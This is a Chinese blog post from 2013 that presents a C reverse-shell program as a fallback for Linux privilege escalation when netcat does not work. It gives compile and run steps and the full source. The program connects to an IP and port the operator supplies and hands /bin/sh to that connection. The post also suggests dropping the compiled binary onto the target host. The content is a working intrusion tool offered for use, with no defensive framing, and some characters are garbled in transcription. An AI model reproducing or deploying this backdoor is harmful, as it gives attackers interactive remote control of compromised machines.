兔八哥极品软件园    运行: 4499天 | 文章:640 篇 | 评论:505 条 | 碎语:1条

linux nc 反弹不成功 用c脚本替代

作者:admin 发布于:2013-1-8 19:24 Tuesday 分类:Linux


在LINUX下提权的时候 如果主机上的NC不可用,则可用如下的代码 于反弹用一个SHELL来交互使用 用法如下

gcc -o shell shell.c

chmod 777 shell

./shell ip port

就可以了

当然本机应该先监听一个端口

当然也可以把可执行文件直接扔到主机上执行

[c]

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>

void usage();
char shell[]=”/bin/sh”;
char message[]=”hacker welcomen”;
int sock;
int main(int argc, char *argv[]) {
if(argc <3){
usage(argv[0]);
}

struct sockaddr_in server;
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf(“Couldn’t make socket!n”); exit(-1);
}

server.sin_family = AF_INET;
server.sin_port = htons(atoi(argv[2]));
server.sin_addr.s_addr = inet_addr(argv[1]);

if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
printf(“Could not connect to remote shell!n”);
exit(-1);
}
send(sock, message, sizeof(message), 0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execl(shell,”/bin/sh”,(char *)0);
close(sock);
return 1;
}

void usage(char *prog[]) {
printf(“tts8s8 connect back doornn”);
printf(“t sql@s8s8.netnn”);
printf(“Usage: %s <reflect ip> <port>n”, prog);
exit(-1);
}

[/c]


Powered by 兔八哥极品软件 苏ICP备12049267号 sitemap